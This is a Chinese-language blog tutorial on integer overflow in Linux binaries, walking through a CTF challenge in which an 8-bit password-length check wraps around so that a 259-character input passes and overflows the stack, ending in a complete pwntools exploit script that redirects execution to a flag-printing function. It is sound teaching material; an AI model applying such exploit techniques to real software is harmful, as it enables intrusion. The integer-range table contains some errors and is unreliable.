Linux 二进制漏洞挖掘入门系列之(三)整数溢出

0x10 基本概念

C语言中,基本数据类型包括短整型short、整型int以及长整型long,每种数据类型还可以分为有符号和无符号数,我们尝试用的int a = 0 这样的表达式,默认就是定义一个有符号的整型数据a。对于无符号数,需要显示声明为 unsigned int a = 0。每种数据类型都会有其相应的范围,跟编译器有关。我们以64位gcc编译器为例,其大小范围如下所示

类型 字节 范围
short int 2byte(word) 0 ~ 32767(0 ~ 0x7fff)
32768 ~ -1(0x8000 ~ 0xffff)
unsigned short int 2byte(word) 0 ~ 65535(0 ~ 0xffff)
int 4byte(dword) 0 ~ 2147483647(0 ~ 0x7fffffff)
-2147483648 ~ -1(0x80000000 ~ 0xffffffff)
unsigned int 4byte(dword) 0 ~ 4294967295(0 ~ 0xffffffff)
long int 8byte(qword) 正: 0 ~ 0x7fffffffffffffff
负:0x8000000000000000 ~ 0xffffffffffffffff
unsigned long int 8byte(qword) 0 ~ 0xffffffffffffffff

如果使用相应的数据类型声明一个变量,超过了其大小范围,那么这个变量就相当于溢出了。整数溢出本身不会造成代码执行,但可能会引发堆栈溢出,进而造成恶意代码执行的效果。

0x20 实际案例

我们以int_overflow这道题实际讲解一下整数溢出的利用方式,当然这里也用到了栈溢出,才能够达到 getshell 的效果。题目链接。可以直接在官网做题,也可以下载到本地。本题其实很简单,在这里我们分析一下,只是为了让大家对整数溢出有一个更好的的了解。

0x21 分析代码

我们先看看程序的安全编译选项
在这里插入图片描述
程序只是开启了栈不可执行,也就是说没有办法直接使用ret2shellcode的方式,执行我们注入的代码。但是栈保护和地址随机化都没有开启,说明该程序应该是比较简单的利用就可以了。

运行以下,看看程序的基本功能。
在这里插入图片描述
很简单,就是一个输入用户名和密码的程序,结合IDA反汇编,看一下源码中可能存在的问题。
在这里插入图片描述
入口函数并没有啥问题,那么再继续定位,发现有一个login函数,追踪进去
在这里插入图片描述
这里的passwd限制在了0x199个字节,并且紧接着有一个检查密码的函数check_passwd,再跟进去
在这里插入图片描述
变量v3是 unsigned __int8 类型,也就是8位,存放的是变量s(即传进来的password)的长度,但是v3能够存储的大小是8位的无符号数,也就是十进制数 0 ~ 255,而s的最大长度是 0x199 = 409个字符,明显越界。

这里说明一下,8位即1字节的二进制数,有符号的话,能够表示的范围是
-128 ~ 127
无符号的话,能够表示的范围是
255

如果定义一个无符号的8位二进制数,超过255,则溢出,比如 unsigned char a = 257,那么实际 a = 1 (循环)

找到漏洞点,并且介绍了溢出的规则,那么我们要怎么利用这个漏洞呢?这里还有一个问题是代码的17行,也就是存在一个字符串拷贝,会将用户输入的密码拷贝到dest中,由上图可知,dest距离ebp也就是栈底 0x14 长度。 总结一下就是,该代码段存在整数溢出和栈溢出,具体的利用,我们接下来继续分析。

0x22 漏洞利用

打开IDA的string窗口,发现存在一个敏感的字符串 cat flag,这是CTF题目当中常见的字符串 flag,那么我们的目的就是让程序运行到调用该字符串的函数。
在这里插入图片描述
所以,需要查找该函数的地址(因为该程序没有开启ALSR)。所以我们的目的就是执行如下函数
在这里插入图片描述
flag_addr = 0x0804868B

至此,你可能会想,直接利用栈溢出,我们现在直接让输入的密码溢出,覆盖返回地址到 flag_addr 不就行了么,但是你会发现这样并不能成功,况且我们还没有用到整数溢出。接下来就是考虑填充字节的问题了。这里再分析一下 check_passwd 函数的汇编
在这里插入图片描述
函数首先会压栈,即 push ebp;mov ebp,esp;这是函数入口常见的一种汇编形式,同样的出口处一般会有 mov esp,ebp;pop ebp;而该程序在函数结尾处有一个leave指令。在32位程序中,这条指令就是表示刚刚我们说的两条汇编语句。也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小4字节,即覆盖之前还需将这4字节覆盖了,才能实现跳转指向what_is_this函数,编写利用脚本如下:

如果输入的字符个数超过了 0x14,那么就会覆盖到stack中的内容,然而要想进入这个覆盖的函数,又需要password字符数在 3-8 之间,这里就用到了整数溢出,即

==>>(3-8)259-264之间随机选择一个数,这里取259

            **payload = "a" * (0x14 + 0x4) + flag_addr + "a" * (259 - 0x14 - 0x4 - 0x4)**

最终的exploit代码如下

from pwn import *

flag = 0x0804868B
sh = process("./int_overflow")
context(log_level="debug")
sh.sendlineafter("Your choice:", "1")
sh.sendlineafter("username:\n", "xiaoming")
payload = "a" * (0x14 + 0x4) + p32(flag) + "a" * (259 - 0x14 -0x4 - 0x4)
sh.sendlineafter("your passwd:\n", payload)
sh.recv()
sh.interactive()

由于我们将云端的题目下载到本地来运行的,实际还需要在本地新建一个名为flag的文件,里面输入随意的内容,即可打印出来
在这里插入图片描述

0x30 总结

上述题目的难点不在于栈溢出,而是在于整数溢出的利用,最终填充的a的字符个数,一定要在给定区间内,才能达到漏洞利用的效果,否则,无法进入相应的溢出代码段。

发布了23 篇原创文章 · 获赞 22 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/song_lee/article/details/103840564